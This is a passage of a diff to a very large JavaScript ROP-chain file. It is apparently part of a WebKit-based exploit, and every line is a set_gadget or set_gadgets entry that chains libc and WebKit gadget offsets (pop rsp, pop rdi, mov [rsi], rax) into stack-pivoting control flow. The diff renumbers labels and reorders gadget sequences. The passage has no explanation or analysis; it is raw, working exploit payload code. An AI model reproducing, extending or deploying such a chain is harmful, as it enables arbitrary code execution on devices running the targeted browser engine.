db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2769: +//L2752: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19107,77 +19038,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+178080, //L2770 +ropchain+177696, //L2755 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2770: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2771: +//L2754: db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2755: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+178184, //L2773 +ropchain+177784, //L2756 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178200, //L2774 +ropchain+177800, //L2758 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2773: +//L2756: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2774: +//L2758: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+178352, //L2776 +ropchain+177952, //L2759 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+178384, //L2779 +ropchain+177984, //L2762 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+178368, //L2777 +ropchain+177936, //L2760 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178336, //L2778 +ropchain+177968, //L2761 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2778: +//L2760: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2776: +//L2759: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2777: +//L2761: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2779: +//L2762: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+178480, //L2781 +ropchain+178080, //L2764 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+178464, //L2780 +ropchain+178064, //L2763 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2780: +//L2763: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2781: +//L2764: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19185,8 +19116,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2783: -ropchain+178584, //L2782 +//L2766: +ropchain+178184, //L2765 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -19194,8 +19125,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+187624, //L2784 -//L2782: +ropchain+185896, //L2767 +//L2765: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -19203,100 +19134,100 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+178656, //L2785 +ropchain+178272, //L2770 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2785: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2786: +//L2769: db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+792472,); //pop rcx +//L2770: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2788: +//L2772: db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+178800, //L2790 +ropchain+178400, //L2773 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178816, //L2791 +ropchain+178416, //L2775 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2790: +//L2773: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2791: +//L2775: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+178968, //L2793 +ropchain+178568, //L2776 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179000, //L2796 +ropchain+178600, //L2779 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+178984, //L2794 +ropchain+178552, //L2777 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+178952, //L2795 +ropchain+178584, //L2778 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2795: +//L2777: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2793: +//L2776: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2794: +//L2778: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2796: +//L2779: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179072, //L2797 +ropchain+178672, //L2780 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179088, //L2798 +ropchain+178688, //L2781 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2797: +//L2780: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2798: +//L2781: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179184, //L2800 +ropchain+178784, //L2783 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+179168, //L2799 +ropchain+178768, //L2782 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2799: +//L2782: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2800: +//L2783: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19305,39 +19236,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+179264, //L2803 +ropchain+178864, //L2785 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2803: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2801: +//L2785: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2802: +//L2784: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2786: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179416, //L2805 +ropchain+179016, //L2788 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179432, //L2806 +ropchain+179032, //L2789 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+179400, //L2804 +ropchain+179000, //L2787 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2804: +//L2787: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2805: +//L2788: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2806: +//L2789: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19350,144 +19281,144 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+179600, //L2807 +ropchain+179200, //L2791 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179616, //L2809 +ropchain+179216, //L2792 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+179584, //L2808 +ropchain+179184, //L2790 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2808: +//L2790: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2807: +//L2791: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2809: +//L2792: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+179720, //L2813 +ropchain+179320, //L2795 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+179768, //L2814 +ropchain+179368, //L2797 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+179736, //L2811 +ropchain+179352, //L2796 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2813: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2811: +//L2795: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2812: +//L2794: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2796: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2814: +//L2797: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+179880, //L2815+8 +ropchain+179480, //L2798+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+179872, //L2815 +ropchain+179472, //L2798 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2815: +//L2798: db([0, 0]); // 0x0 set_gadgets([ -ropchain+179896, //L2815+24 -ropchain+179912, //L2810 +ropchain+179496, //L2798+24 +ropchain+179512, //L2793 libc_base+811575, //pop rsp -ropchain+182448, //L2816 -//L2810: +ropchain+182048, //L2799 +//L2793: libc_base+793877, //pop rsi -ropchain+179952, //L2817 +ropchain+179568, //L2802 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2817: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2818: +//L2801: db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+792472,); //pop rcx +//L2802: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+180056, //L2820 +ropchain+179656, //L2803 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+180072, //L2821 +ropchain+179672, //L2805 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2820: +//L2803: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2821: +//L2805: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+180216, //L2825 +ropchain+179816, //L2808 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+180184, //L2823 +ropchain+179784, //L2806 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+180200, //L2824 +ropchain+179800, //L2807 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2823: +//L2806: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2824: +//L2807: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2825: +//L2808: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+180288, //L2827 +ropchain+179888, //L2810 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2827: +//L2810: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+180344, //L2828 +ropchain+179944, //L2812 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2828: +//L2812: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19495,83 +19426,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+180424, //L2830 +ropchain+180040, //L2815 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2830: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2831: +//L2814: db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+792472,); //pop rcx +//L2815: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+180528, //L2833 +ropchain+180128, //L2816 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+180544, //L2834 +ropchain+180144, //L2818 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2833: +//L2816: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2834: +//L2818: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+180696, //L2836 +ropchain+180296, //L2819 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+180728, //L2839 +ropchain+180328, //L2822 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+180712, //L2837 +ropchain+180280, //L2820 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+180680, //L2838 +ropchain+180312, //L2821 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2838: +//L2820: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2836: +//L2819: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2837: +//L2821: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2839: +//L2822: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+180848, //L2841 +ropchain+180448, //L2824 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+180864, //L2842 +ropchain+180464, //L2825 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+180832, //L2840 +ropchain+180432, //L2823 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2840: +//L2823: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2841: +//L2824: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2842: +//L2825: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19582,107 +19513,107 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+180952, //L2844 +ropchain+180552, //L2827 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2844: +//L2827: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+181008, //L2845 +ropchain+180608, //L2829 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2845: +//L2829: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+181080, //L2847 +ropchain+180696, //L2832 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2847: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2848: +//L2831: db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+792472,); //pop rcx +//L2832: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2850: +//L2834: db([4294967252, 4294967295]); // -0x2c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+181224, //L2852 +ropchain+180824, //L2835 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181240, //L2853 +ropchain+180840, //L2837 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2852: +//L2835: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2853: +//L2837: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+181392, //L2855 +ropchain+180992, //L2838 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+181424, //L2858 +ropchain+181024, //L2841 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+181408, //L2856 +ropchain+180976, //L2839 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181376, //L2857 +ropchain+181008, //L2840 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2857: +//L2839: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2855: +//L2838: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2856: +//L2840: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2858: +//L2841: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+181520, //L2860 +ropchain+181120, //L2843 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+181504, //L2859 +ropchain+181104, //L2842 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2859: +//L2842: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2860: +//L2843: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19690,83 +19621,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+181600, //L2861 +ropchain+181216, //L2846 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2861: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2862: +//L2845: db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+792472,); //pop rcx +//L2846: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+181704, //L2864 +ropchain+181304, //L2847 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181720, //L2865 +ropchain+181320, //L2849 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2864: +//L2847: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2865: +//L2849: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+181872, //L2867 +ropchain+181472, //L2850 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+181904, //L2870 +ropchain+181504, //L2853 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+181888, //L2868 +ropchain+181456, //L2851 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+181856, //L2869 +ropchain+181488, //L2852 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2869: +//L2851: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2867: +//L2850: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2868: +//L2852: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2870: +//L2853: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+182024, //L2872 +ropchain+181624, //L2855 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+182040, //L2873 +ropchain+181640, //L2856 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+182008, //L2871 +ropchain+181608, //L2854 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2871: +//L2854: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2872: +//L2855: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2873: +//L2856: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19777,138 +19708,138 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+182192, //L2874 +ropchain+181792, //L2858 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+182208, //L2876 +ropchain+181808, //L2859 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182176, //L2875 +ropchain+181776, //L2857 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2875: +//L2857: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2874: +//L2858: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2876: +//L2859: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+182312, //L2878 +ropchain+181912, //L2862 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+182296, //L2877 +ropchain+181928, //L2863 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); -//L2877: -db([0, 0]); // 0x0 +//L2860: +db([4294967252, 4294967295]); // -0x2c set_gadget(libc_base+792472,); //pop rcx -//L2878: +//L2862: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2863: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2879: -db([4294967252, 4294967295]); // -0x2c set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+182392, //L2883 +ropchain+181992, //L2866 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2883: +//L2866: db([0, 0]); // 0x0 set_gadgets([ libc_base+811575, //pop rsp -ropchain+182432, //L2881 -//L2741: +ropchain+182032, //L2864 +//L2724: libc_base+811575, //pop rsp -ropchain+182448, //L2816 -//L2881: +ropchain+182048, //L2799 +//L2864: libc_base+811575, //pop rsp -ropchain+176440, //L2726 -//L2816: +ropchain+176040, //L2709 +//L2799: libc_base+793877, //pop rsi -ropchain+182488, //L2884 +ropchain+182104, //L2869 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2884: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2885: +//L2868: db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2869: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+182592, //L2887 +ropchain+182192, //L2870 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182608, //L2888 +ropchain+182208, //L2872 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2887: +//L2870: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2888: +//L2872: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+182760, //L2890 +ropchain+182360, //L2873 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+182792, //L2893 +ropchain+182392, //L2876 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+182776, //L2891 +ropchain+182344, //L2874 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+182744, //L2892 +ropchain+182376, //L2875 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2892: +//L2874: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2890: +//L2873: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2891: +//L2875: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2893: +//L2876: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+182888, //L2895 +ropchain+182488, //L2878 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+182872, //L2894 +ropchain+182472, //L2877 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2894: +//L2877: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2895: +//L2878: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -19916,8 +19847,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2897: -ropchain+182992, //L2896 +//L2880: +ropchain+182592, //L2879 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -19925,8 +19856,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+183640, //L2898 -//L2896: +ropchain+184568, //L2881 +//L2879: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -19935,17 +19866,17 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+183064, //L2899 +ropchain+182664, //L2882 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2899: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2900: +//L2882: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2901: +//L2883: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2884: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19955,17 +19886,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov 